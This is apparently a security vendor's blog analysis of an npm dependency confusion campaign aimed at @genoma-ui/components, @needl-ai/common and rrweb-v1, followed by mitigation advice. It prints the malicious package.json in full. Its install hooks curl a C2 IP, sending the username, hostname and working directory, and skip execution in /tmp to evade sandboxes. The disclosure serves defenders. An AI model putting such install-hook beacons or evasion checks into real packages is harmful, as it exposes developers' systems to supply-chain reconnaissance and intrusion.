Malicious npm Dependency Confusion Campaign Targets Genoma UI and Others

SafeDep Team
5 min read

Table of Contents

TL;DR

A single npm account (victim59) published malicious packages targeting at least three organizations through dependency confusion: @genoma-ui/components, @needl-ai/common, and rrweb-v1. Each package uses preinstall and postinstall hooks to beacon system reconnaissance data (username, hostname, working directory) to a hardcoded C2 IP on DigitalOcean. The packages contain no functional code; they exist solely to confirm whether an internal package name resolves to the attacker’s public version during npm install.

Indicators of Compromise:

The Campaign

SafeDep’s malicious package analysis engine flagged @genoma-ui/[email protected] on April 9, 2026. Registry reconnaissance revealed that the publishing account, victim59, maintains two other packages with identical payloads and structure.

Terminal window
$ curl -s "https://registry.npmjs.org/-/v1/search?text=maintainer:victim59" \
| jq '.objects[].package | {name, version, date}'
{"name": "rrweb-v1", "version": "99.99.2", "date": "2026-03-13T07:04:15.190Z"}
{"name": "@needl-ai/common", "version": "99.99.2", "date": "2026-04-05T08:49:22.833Z"}
{"name": "@genoma-ui/components", "version": "99.99.1", "date": "2026-04-09T18:41:21.110Z"}

All three packages share the same traits:

SignalValue
Description”session replay utility”
Author”anonymous”
Maintainer email[email protected]
Version pattern99.99.x (inflated to beat internal versions)
Publish cadencePlaceholder 1.0.0 first, then malicious 99.99.x within days
File count2 (package.json + empty index.js)

The timeline shows a methodical campaign: rrweb-v1 first on March 11, @needl-ai/common on April 3, and @genoma-ui/components on April 7. Each starts with a benign 1.0.0 placeholder before the malicious version lands.

Target Identification

The scoped package names point to specific organizations:

  • @genoma-ui/components targets Unico, a Brazilian identity tech company whose internal design system is called Genoma UI. Their component library was built on Material UI and distributed as an internal npm package.
  • @needl-ai/common targets Needl.ai, a Bangalore-based enterprise AI platform that likely uses @needl-ai/common as a shared internal package.
  • rrweb-v1 impersonates rrweb, the open source session replay library with “record and replay the web” as its description. The attacker’s “session replay utility” description is a nod to this.

Payload Analysis

The attack lives entirely in package.json install hooks. The index.js in each package is a single comment placeholder:

package/index.js
// placeholder for @genoma-ui/components

The malicious package.json for @genoma-ui/[email protected]:

package/package.json
{
"name": "@genoma-ui/components",
"version": "99.99.1",
"description": "session replay utility",
"main": "index.js",
"scripts": {
"preinstall": "if [ \"$(pwd | cut -c1-4)\" != \"/tmp\" ]; then curl -s \"http://64.227.183.144/depconf/@genoma-ui/components/?stage=pre&u=$(whoami)&h=$(hostname)&d=$(pwd)&t=$(date +%s)\" > /dev/null 2>&1 || true; fi",
"postinstall": "if [ \"$(pwd | cut -c1-4)\" != \"/tmp\" ]; then curl -s \"http://64.227.183.144/depconf/@genoma-ui/components/?stage=post&u=$(whoami)&h=$(hostname)&d=$(pwd)&t=$(date +%s)\" > /dev/null 2>&1 || true; fi"
},
"author": "anonymous",
"license": "ISC"
}

Comparing this to the benign 1.0.0 shows the exact changes the attacker made:

"version": "1.0.0",
"description": "A simple, benign placeholder for npm.",
"version": "99.99.1",
"description": "session replay utility",
...
"preinstall": "",
"postinstall": ""
"preinstall": "if [ \"$(pwd | cut -c1-4)\" != \"/tmp\" ]; then curl -s ...",
"postinstall": "if [ \"$(pwd | cut -c1-4)\" != \"/tmp\" ]; then curl -s ..."

Execution Flow

Both preinstall and postinstall scripts run the same logic:

  1. Sandbox evasion: if [ "$(pwd | cut -c1-4)" != "/tmp" ] checks whether the working directory starts with /tmp. Many automated analysis environments extract and install packages in temporary directories. This guard skips execution in those contexts.

  2. System reconnaissance beacon: If the check passes, curl sends a GET request to hxxp://64[.]227[.]183[.]144/depconf/@genoma-ui/components/ with query parameters:

    • stage=pre or stage=post (which install phase triggered)
    • u=$(whoami) (the current OS username)
    • h=$(hostname) (the machine hostname)
    • d=$(pwd) (the working directory, revealing project path structure)
    • t=$(date +%s) (Unix timestamp)
  3. Silent failure: Output goes to /dev/null 2>&1 and || true ensures the install completes regardless of whether the C2 server responds. The victim sees no errors.

The stage parameter is notable: receiving both pre and post callbacks confirms a full npm lifecycle execution, distinguishing a genuine install on a developer machine from a partial or aborted analysis run.

What This Tells the Attacker

A successful callback proves dependency confusion worked: the target organization’s build system or developer machine resolved the internal package name to the attacker’s public version. The hostname and working directory reveal the internal network topology and project structure. The username confirms which account (human developer, CI runner) is affected.

This is a reconnaissance payload. The attacker collects proof of access and environmental details to plan a follow-up attack with a more destructive payload (credential theft, reverse shell, or supply chain backdoor).

Attribution

The victim59 account was created for this campaign. The Proton Mail address, generic “anonymous” author field, and single-purpose account all point to a throwaway identity. The account published no packages outside these three.

The C2 server at 64.227.183.144 is a DigitalOcean droplet (AS14061). The /depconf/ path prefix in the callback URL (“depconf” likely abbreviates “dependency confusion”) suggests purpose-built infrastructure for this campaign.

The 1.0.0 placeholder descriptions are revealing: @genoma-ui/[email protected] used “A simple, benign placeholder for npm.” The word “benign” is unusual in package descriptions and suggests the attacker was aware the placeholder version might be analyzed.

Whether this is a malicious actor or an authorized penetration test is unknown at the time of writing. The targeting of multiple unrelated organizations (a Brazilian identity company, an Indian AI platform, and an open source project) from a single npm account is uncommon for authorized assessments, which typically target one client at a time.

Mitigation

Organizations using private npm scopes should take steps to prevent dependency confusion:

  • Scope registration: Register your organization’s npm scope on the public registry even if you only use a private registry. This prevents attackers from claiming @your-org/package publicly.
  • Registry pinning: Configure .npmrc with @your-org:registry=https://your-private-registry/ to ensure scoped packages always resolve from the private registry.
  • Sandboxed installs: Tools like pmg sandbox npm install, block known malicious packages, and enforce dependency cooldown periods that provide reasonable protection against unknown threats like newly published dependency confusion packages.

References

  • npm
  • malware
  • supply-chain-security
  • dependency-confusion

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

@fairwords npm Packages Hit by Credential Worm

@fairwords npm Packages Hit by Credential Worm

Three @fairwords npm packages were compromised with a self-propagating worm that harvests credentials, crypto wallets, Chrome passwords, and spreads to other packages using stolen npm tokens.

SafeDep Team
Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.